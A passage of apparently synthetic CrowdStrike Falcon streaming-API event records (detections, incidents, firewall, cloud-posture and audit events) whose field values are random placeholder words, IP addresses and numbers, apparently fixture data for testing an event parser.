"56.83.63.203","SourceEndpointSensorId": "Brazilianstring","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "thiscongregation","PatternId": -1256237764}} +{"metadata": {"customerIDString": "hergang","offset": 512065216,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "theirhedge","UserID": "scenicsock","ExecutionID": "cleancompany","ReportID": "so fewreligion","ReportName": "whichquiver","ReportType": "tenseteam","ReportFileReference": "Iraqigeneration","Status": "cleverhand","StatusMessage": "coupleuncle","ExecutionMetadata": {"ExecutionStart": 1765346244,"ExecutionDuration": -654156777,"ReportFileName": "comfortablecovey","ResultCount": -1585726216,"ResultID": "ourcardigan","SearchWindowStart": -578749749,"SearchWindowEnd": -1949776905}}} +{"metadata": {"customerIDString": "whichmessage","offset": -1708869937,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "Elizabethancomb","State": "closed","FineScore": 3.5560299510671025,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "hereshop","HostID": "yourcackle","LMHostIDs": ["whyeducation"],"UserId": "Orwelliancase"}} +{"metadata": {"customerIDString": "proudaid","offset": 593724173,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "severalpair","State": "open","FineScore": 4.274128535370408,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "someonecurrency","HostID": "lightproduction","LMHostIDs": ["thiscovey"],"UserId": "Finnishcompany"}} +{"metadata": {"customerIDString": "Taiwanesewealth","offset": -1952296304,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "onegovernment","HostnameField": "anyvision","UserName": "whynumber","StartTimestamp": 1582830734,"AgentIdString": "Middle Easternfrog"}} +{"metadata": {"customerIDString": "nophilosophy","offset": -1950030235,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 933310372,"ProcessEndTime": -656887118,"ProcessId": -279016116,"ParentProcessId": -1541940696,"ComputerName": "condemnedsilence","UserName": "littleflour","DetectName": "plenty ofnutrition","DetectDescription": "newspaper country staff wrist sleep wheat tribe infancy nervousleisure","Severity": 0,"SeverityName": "Informational","FileName": "onemanagement","FilePath": "allcollection\\onemanagement","CommandLine": "C:\\Windows\\Alaskanvision","SHA256String": "Finnishpagoda","MD5String": "over theretime","SHA1String": "thereshock","MachineDomain": "friendlything","NetworkAccesses": [{"AccessType": 1118182597,"AccessTimestamp": 1751371565,"Protocol": "Englishstring","LocalAddress": "175.37.189.53","LocalPort": 53819,"RemoteAddress": "130.123.227.121","RemotePort": 35318,"ConnectionDirection": 2,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/severalwoman?_cid=xxxxxxx","SensorId": "Spanishgeneration","IOCType": "domain","IOCValue": "numerousworld","DetectId": "gracefulhouse","LocalIP": "27.155.64.24","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "herefriendship","Technique": "energetichatred","Objective": "herbunch","PatternDispositionDescription": "catalog city research singer tribe handsomeclass","PatternDispositionValue": 1006414644,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": false,"SensorOnly": false,"Rooting": false,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "itsroad","ParentCommandLine": "Thatcheritemurder","GrandparentImageFileName": "a littlescale","GrandparentCommandLine": "plenty oflabour","HostGroups": "heavyaunt","AssociatedFile": "over thererubbish","PatternId": -2005874962}} +{"metadata": {"customerIDString": "wittysleep","offset": 1412438253,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "Gaussianman","State": "open","FineScore": 0.6186911314386832,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "wholecaravan","HostID": "whichstand","LMHostIDs": ["howfriendship"],"UserId": "thesething"}} +{"metadata": {"customerIDString": "curiosair","offset": -250405407,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "onecat","Highlights": ["somebodyfact"],"MatchedTimestamp": 1686889114000,"RuleId": "yourmother","RuleName": "hercurrency","RuleTopic": "thankfulmovement","RulePriority": "itsunshine","ItemId": "hisproblem","ItemType": "SCRAPPY","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "hugecloud","offset": -1900702738,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "howbattery","MobileDetectionId": 343032952,"ComputerName": "whoseplace","UserName": "ourmovement","ContextTimeStamp": 1649061056,"DetectId": "wholefact","DetectName": "everyonethought","DetectDescription": "basket house sedge kindness dynasty goal heap forest earrings success week bevy hour team cloud butter harvest choir blender whichchoir","Tactic": "Parisiancup","TacticId": "heretime","Technique": "mybattery","TechniqueId": "kindawareness","Objective": "Greekcousin","Severity": 93,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/auspiciousspeed?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "whycongregation","AndroidAppLabel": "troublingquiver","DexFileHashes": "nonecar","ImageFileName": "wherepod","AppInstallerInformation": "ithair","IsBeingDebugged": true,"AndroidAppVersionName": "fewfreedom","IsContainerized": false}]}} +{"metadata": {"customerIDString": "Victoriandeskpath","offset": -1376595275,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "Thaipeace","DetectName": "allcare","DetectDescription": "hercare","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/everybodyhead?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 9,"SeverityName": "Low","Tactic": "South Americanfashion","Technique": "Canadianstaff","Objective": "anythingeye","SourceAccountDomain": "outrageousmeal","SourceAccountName": "wherefreedom","SourceAccountObjectSid": "itsstack","SourceEndpointAccountObjectGuid": "Barcelonianparty","SourceEndpointAccountObjectSid": "allwoman","SourceEndpointHostName": "itscomb","SourceEndpointIpAddress": "69.74.170.53","SourceEndpointSensorId": "hischild","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "disturbedtruth","PatternId": 326683896}} +{"metadata": {"customerIDString": "hundredcandy","offset": -1101002719,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 2080761357,"ProcessEndTime": 2043850267,"ProcessId": 1031101204,"ParentProcessId": -287603910,"ComputerName": "ourcare","UserName": "blackworld","DetectName": "howbundle","DetectDescription": "way peacock problem book company person innocence child year generation problem body crowd wolf belief park hail bravery bravery wisp thing severalhost","Severity": 0,"SeverityName": "Medium","FileName": "everygovernment","FilePath": "Guyanesehail\\everygovernment","CommandLine": "C:\\Windows\\theirregiment","SHA256String": "numerousunemployment","MD5String": "theirreel","SHA1String": "Congolesemotherhood","MachineDomain": "heavydata","NetworkAccesses": [{"AccessType": 1739056061,"AccessTimestamp": 1751371565,"Protocol": "Romaniancloud","LocalAddress": "156.91.133.60","LocalPort": 74704,"RemoteAddress": "245.107.190.208","RemotePort": 76848,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/sparsething?_cid=xxxxxxx","SensorId": "poisedpod","IOCType": "filename","IOCValue": "everyoneboard","DetectId": "itbale","LocalIP": "146.228.219.35","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "someonepoint","Technique": "whatbag","Objective": "ourgovernment","PatternDispositionDescription": "building scissors grandmother keyboard fiction mustering scold cackle tissue crowd guilt trust dream heap plant snow host movement wad cluster friendship mostbook","PatternDispositionValue": 924678192,"PatternDispositionFlags": {"Indicator": false,"Detect": true,"InddetMask": false,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": false,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "severalthing","ParentCommandLine": "calmscold","GrandparentImageFileName": "joyouspart","GrandparentCommandLine": "whypatrol","HostGroups": "cheerfulmusic","AssociatedFile": "Machiavellianbunch","PatternId": 125137225}} +{"metadata": {"customerIDString": "mychest","offset": 1153946996,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -1117047632,"ProcessEndTime": -2004420101,"ProcessId": 1532328976,"ParentProcessId": 1360968630,"ComputerName": "yourperson","UserName": "hugepod","DetectName": "longegg","DetectDescription": "mustering irritation brace batch smoke thing forest scold point wisp flower company child therestand","Severity": 2,"SeverityName": "Informational","FileName": "adorableschool","FilePath": "whatpage\\adorableschool","CommandLine": "C:\\Windows\\emptygame","SHA256String": "anythingalligator","MD5String": "greatline","SHA1String": "manyclub","MachineDomain": "yourmuster","NetworkAccesses": [{"AccessType": -1771015515,"AccessTimestamp": 1751371565,"Protocol": "Torontonianbunch","LocalAddress": "15.152.75.17","LocalPort": 87884,"RemoteAddress": "233.86.11.42","RemotePort": 9785,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thankfularchitect?_cid=xxxxxxx","SensorId": "amusedline","IOCType": "behavior","IOCValue": "thatparty","DetectId": "hundredsflock","LocalIP": "120.106.149.190","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "everythingvillage","Technique": "alllondon","Objective": "Congoleseflock","PatternDispositionDescription": "posse chaise longue clarity happiness member garage width covey hail flock energy day class weather mercy hand herestack","PatternDispositionValue": 2009879131,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "Finnishchest","ParentCommandLine": "theircompany","GrandparentImageFileName": "theirrubbish","GrandparentCommandLine": "Cambodiangrade","HostGroups": "itsgain","AssociatedFile": "mything","PatternId": 684192837}} +{"metadata": {"customerIDString": "howtime","offset": -989900221,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "hishorde","Region": "us-east-1","ResourceId": "manypopcorn","ResourceIdType": "manysheaf","ResourceName": "nobodyarmy","ResourceCreateTime": 0,"PolicyStatement": "whereskyscraper","PolicyId": 1282256644,"Severity": 78,"SeverityName": "Medium","CloudPlatform": "queercackle","CloudService": "theseloss","Disposition": "Passed","ResourceUrl": "quaintfield","Finding": "ourbevy","Tags": [{"Key": "wanderingmovement","ValueString": "eitherxylophone"}],"ReportUrl": "a lotpatience","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "whosewaist","offset": -306081915,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "theirquality","IncidentDescription": "set class shopping divorce housework troop itsunglasses","Severity": 92,"SeverityName": "Informational","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "mytroupe","UserName": "thatlife","EndpointName": "anystand","EndpointIp": "228.59.116.79","Category": "Detections","NumbersOfAlerts": 1001476486,"NumberOfCompromisedEntities": -1478636482,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/yourbody?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "neithersunshine","offset": -1019875160,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -1281081394,"ProcessEndTime": -1455065204,"ProcessId": -592541064,"ParentProcessId": 980825791,"ComputerName": "therejealousy","UserName": "Barbadianproblem","DetectName": "whycomfort","DetectDescription": "host school year stand number pack batch jumper account heavyhouse","Severity": 0,"SeverityName": "Low","FileName": "tastywalk","FilePath": "yourstupidity\\tastywalk","CommandLine": "C:\\Windows\\whosemob","SHA256String": "theirmuster","MD5String": "whytable","SHA1String": "Germandata","MachineDomain": "herechest","NetworkAccesses": [{"AccessType": 44794767,"AccessTimestamp": 1751371565,"Protocol": "Gaboneseperson","LocalAddress": "77.89.124.80","LocalPort": 24688,"RemoteAddress": "101.61.89.28","RemotePort": 9914,"ConnectionDirection": 0,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Cypriotarchipelago?_cid=xxxxxxx","SensorId": "Aristotelianreel","IOCType": "filename","IOCValue": "thoseboxers","DetectId": "herecrew","LocalIP": "30.9.43.137","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "thatcompany","Technique": "ourcaravan","Objective": "whichfilm","PatternDispositionDescription": "year troupe deceit oxygen speed bale stand group seed year chest dollar cast fire neck team leap bill mercy hundredssheaf","PatternDispositionValue": 956284619,"PatternDispositionFlags": {"Indicator": false,"Detect": true,"InddetMask": true,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": false},"ParentImageFileName": "heresedge","ParentCommandLine": "whosetelevision","GrandparentImageFileName": "Peruvianwisp","GrandparentCommandLine": "zealousbale","HostGroups": "hismustering","AssociatedFile": "Newtonianreligion","PatternId": -700622379}} +{"metadata": {"customerIDString": "theirbikini","offset": -1111500739,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "magnificentcongregation","PolicyId": -1465293206,"PolicyStatement": "charmingoutfit","CloudProvider": "over therehouse","CloudService": "sleepypool","Severity": 32,"SeverityName": "Critical","EventAction": "clevereye","EventSource": "whichboard","EventCreatedTimestamp": 1663011160,"UserId": "Torontonianadult","UserName": "delightfulfire","UserSourceIp": "102.41.173.166","Tactic": "whosegoodness","Technique": "therestairs"}} +{"metadata": {"customerIDString": "anyonebusiness","offset": 2043833068,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "confusingpart","CustomerId": "whybunch","Ipv": "10.131.98.140","CommandLine": "whosebird","ConnectionDirection": "0","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": true,"Log": true,"Monitor": true},"HostName": "anyliterature","ICMPCode": "a lotpack","ICMPType": "yourdelay","ImageFileName": "somehand","LocalAddress": "42.108.60.165","LocalPort": "40762","MatchCount": -1267405658,"MatchCountSinceLastReport": -477792013,"NetworkProfile": "fullstaff","PID": "-574200502","PolicyName": "Bangladeshieye","PolicyID": "theirloss","Protocol": "somebodyposse","RemoteAddress": "11.94.83.114","RemotePort": "13053","RuleAction": "someplace","RuleDescription": "hand murder care brilliance table project battery whosedolphin","RuleFamilyID": "Caesarianpatrol","RuleGroupName": "Philippinewad","RuleName": "myposse","RuleId": "everythingcluster","Status": "sufficientsparrow","Timestamp": 1751371830,"TreeID": "therewall"}} +{"metadata": {"customerIDString": "Mexicancollection","offset": 1365601881,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "ourtribe","HostnameField": "quainttroop","UserName": "someonetomato","StartTimestamp": 1582830734,"AgentIdString": "theirbunch"}} +{"metadata": {"customerIDString": "hungryhonesty","offset": 1446823700,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "yourcatalog","HostnameField": "everybodystack","UserName": "sufficientcaravan","StartTimestamp": 1582830734,"AgentIdString": "whyarchipelago"}} +{"metadata": {"customerIDString": "Lincolniancrew","offset": 1522679423,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "splendidcard","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\manyback","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "park calm generosity bale case cackle brace covey battery dress animal cleverness traffic brace data Welshhail","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/ourmob?_cid=xxxxxxx","FileName": "hishand","FilePath": "Laotianbody\\hishand","FilesAccessed": [{"FileName": "hishand","FilePath": "Laotianbody\\hishand","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "hishand","FilePath": "Laotianbody\\hishand","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\Muscovitebunch","GrandParentImageFileName": "drabsalt","GrandParentImageFilePath": "Indonesianzebra\\drabsalt","HostGroups": "whereevidence","Hostname": "whybill","LocalIP": "79.170.98.85","LocalIPv6": "99.43.179.77","LogonDomain": "whypatrol","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "clearsmoke","Name": "whatquality","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1874254846,"ConnectionDirection": 2,"IsIPV6": true,"LocalAddress": "92.103.224.168","LocalPort": 12811,"Protocol": "thissheep","RemoteAddress": "23.193.198.213","RemotePort": 73819}],"Objective": "whyinfancy","ParentCommandLine": "C:\\Windows\\ourarmy\\whattalent","ParentImageFileName": "whattalent","ParentImageFilePath": "nonearmy\\whattalent","ParentProcessId": 227474881,"PatternDispositionDescription": "week crowd whyfrailty","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": true,"Indicator": true,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": true,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": 528851604,"PatternId": -1541050124,"PlatformId": "fancywound","PlatformName": "Windows","ProcessEndTime": 1580462124,"ProcessId": 1515113029,"ProcessStartTime": -970298463,"ReferrerUrl": "eitherunemployment","SHA1String": "someonebowl","SHA256String": "onedream","Severity": 22,"SeverityName": "Low","SourceProducts": "Parisianleap","SourceVendors": "thisgroup","Tactic": "everyoneadult","Technique": "whereblock","Type": "ldt","UserName": "foolishway"}} +{"metadata": {"customerIDString": "over theredream","offset": -963974833,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "itholiday","MobileDetectionId": 1124985272,"ComputerName": "allhorde","UserName": "everybodyarmy","ContextTimeStamp": 1649061056,"DetectId": "howstupidity","DetectName": "herwork","DetectDescription": "jealousy life band board crew cluster man way child stream eye murder quiver staff handsometoothbrush","Tactic": "somebodyforest","TacticId": "herpart","Technique": "anycast","TechniqueId": "noneparty","Objective": "successfulmuster","Severity": 30,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/eitherfact?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "South Americangroup","AndroidAppLabel": "whyaccount","DexFileHashes": "over theregame","ImageFileName": "numerousdetective","AppInstallerInformation": "thesemustering","IsBeingDebugged": false,"AndroidAppVersionName": "Lebanesechair","IsContainerized": false}]}} +{"metadata": {"customerIDString": "Greekdelay","offset": 19958052,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thesemember","UserIp": "141.134.209.232","OperationName": "revokeCustomerSubscriptions","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "somebodynutrition","ValueString": "anyedge"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "herehorror"}}} +{"metadata": {"customerIDString": "openmurder","offset": 541820293,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "modernloneliness","UserID": "Confuciancompany","ExecutionID": "lovelyluck","ReportID": "Lincolnianman","ReportName": "numerouschaise longue","ReportType": "Asianman","ReportFileReference": "gracefultroop","Status": "eachsmile","StatusMessage": "whichcaravan","ExecutionMetadata": {"ExecutionStart": 770732332,"ExecutionDuration": -2113676235,"ReportFileName": "toocup","ResultCount": 1175453278,"ResultID": "severalblock","SearchWindowStart": -1431559035,"SearchWindowEnd": -1692649681}}} +{"metadata": {"customerIDString": "hisgalaxy","offset": 1842444737,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "Americanbevy","DataDomains": "Cloud","Description": "laptop corner anyonefinger","DetectId": "someoneyouth","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "209.135.214.51","HostNames": "pinkbevy","Name": "mygossip","PatternId": -1427946641,"Severity": 6,"SourceProducts": "halfslippers","SourceVendors": "manyprofessor","StartTimeEpoch": 1643317697728000000,"TacticIds": "Turkmenshower","Tactics": "herebrace","TechniqueIds": "somecovey","Techniques": "ourslavery","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "thiscookware","offset": -1239893469,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "littlepatrol","DataDomains": "Cloud","Description": "packet comb company hand awareness exaltation bevy hamburger brace Barbadiancovey","DetectId": "over theregovernor","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "96.24.217.177","HostNames": "itsteam","Name": "everybodygiraffe","PatternId": -493591939,"Severity": 8,"SourceProducts": "fullline","SourceVendors": "anythingspot","StartTimeEpoch": 1643317697728000000,"TacticIds": "somejumper","Tactics": "herschool","TechniqueIds": "insufficienthouse","Techniques": "anyteacher","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "orangeclump","offset": 1119707825,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "substantialluck","MobileDetectionId": -1157741109,"ComputerName": "Polynesiantie","UserName": "myhousework","ContextTimeStamp": 1649061056,"DetectId": "everyharm","DetectName": "fewset","DetectDescription": "flower turkey solitude packet case stand everybodywork","Tactic": "famouswad","TacticId": "greatdynasty","Technique": "mymarriage","TechniqueId": "strangepoint","Objective": "sufficientfriendship","Severity": 47,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hergrowth?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "Burmesenoodles","AndroidAppLabel": "Barbadiandog","DexFileHashes": "theirankle","ImageFileName": "hisband","AppInstallerInformation": "neitherkindness","IsBeingDebugged": false,"AndroidAppVersionName": "whatscold","IsContainerized": false}]}} +{"metadata": {"customerIDString": "wherecrew","offset": 944470610,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "ourgovernment","UserIp": "168.140.161.33","OperationName": "requestResetPassword","ServiceName": "detections","AuditKeyValues": [{"Key": "herclarity","ValueString": "theircalm"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "thatdynasty"}}} +{"metadata": {"customerIDString": "yellowschool","offset": -1903727715,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "hishail","DetectName": "everythingfactory","DetectDescription": "number entertainment comfort pain congregation usage thateye","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whichhair?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 83,"SeverityName": "High","Tactic": "hundredfurniture","Technique": "over therechild","Objective": "mychildhood","SourceAccountDomain": "anydesk","SourceAccountName": "severalweek","SourceAccountObjectSid": "histribe","SourceEndpointAccountObjectGuid": "wheremurder","SourceEndpointAccountObjectSid": "thattunnel","SourceEndpointHostName": "somebodystreet","SourceEndpointIpAddress": "104.175.52.126","SourceEndpointSensorId": "hisperson","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "mostlife","PatternId": 360112821}} +{"metadata": {"customerIDString": "toughwork","offset": -287070609,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "herepatrol","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\nonechild","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Cloud","Description": "group cackle nest lamp chapter host mother orchard thatloss","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/helpfulfreedom?_cid=xxxxxxx","FileName": "somecoldness","FilePath": "whosepod\\somecoldness","FilesAccessed": [{"FileName": "somecoldness","FilePath": "whosepod\\somecoldness","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "somecoldness","FilePath": "whosepod\\somecoldness","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\thereclass","GrandParentImageFileName": "tensesnow","GrandParentImageFilePath": "Victorianbowl\\tensesnow","HostGroups": "helplessstaff","Hostname": "terribleartist","LocalIP": "230.168.4.90","LocalIPv6": "63.83.107.98","LogonDomain": "somesaxophone","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "Greekcackle","Name": "variedcity","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -300806198,"ConnectionDirection": 0,"IsIPV6": true,"LocalAddress": "12.235.39.157","LocalPort": 70559,"Protocol": "over therebus","RemoteAddress": "28.169.57.253","RemotePort": 83}],"Objective": "agreeablehail","ParentCommandLine": "C:\\Windows\\itsbag\\homelesshill","ParentImageFileName": "homelesshill","ParentImageFilePath": "plenty ofbrace\\homelesshill","ParentProcessId": -1064992908,"PatternDispositionDescription": "tennis dollar pollution man set friend line vision thisline","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": true,"KillActionFailed": true,"KillParent": true,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": true},"PatternDispositionValue": 1705387416,"PatternId": -1283889121,"PlatformId": "finearmy","PlatformName": "Linux","ProcessEndTime": 1356812483,"ProcessId": -961436773,"ProcessStartTime": 1766752750,"ReferrerUrl": "over therepride","SHA1String": "thislamb","SHA256String": "theremodel","Severity": 82,"SeverityName": "Medium","SourceProducts": "whereclarity","SourceVendors": "theredoor","Tactic": "wheredeceit","Technique": "wheremurder","Type": "ofp","UserName": "easypencil"}} +{"metadata": {"customerIDString": "Danishsmoke","offset": 379838381,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "howquiver","Region": "us-west-2","ResourceId": "over therecrew","ResourceIdType": "encouragingrespect","ResourceName": "whathedge","ResourceCreateTime": 0,"PolicyStatement": "eachnumber","PolicyId": 842027273,"Severity": 2,"SeverityName": "Informational","CloudPlatform": "whereapple","CloudService": "whichmethod","Disposition": "Passed","ResourceUrl": "heavilystack","Finding": "theircountry","Tags": [{"Key": "numerouscup","ValueString": "whoseworld"}],"ReportUrl": "whichband","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "thisboard","offset": -622221851,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "itsmurder","State": "closed","FineScore": 9.592546629752567,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "whycrime","HostID": "somegroup","LMHostIDs": ["hisdream"],"UserId": "hisman"}} +{"metadata": {"customerIDString": "thoseelegance","offset": 1753228333,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "confusingfact","UserIp": "76.50.69.239","OperationName": "grantUserRoles","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Middle Easterncouch","ValueString": "howstand"}],"Attributes": 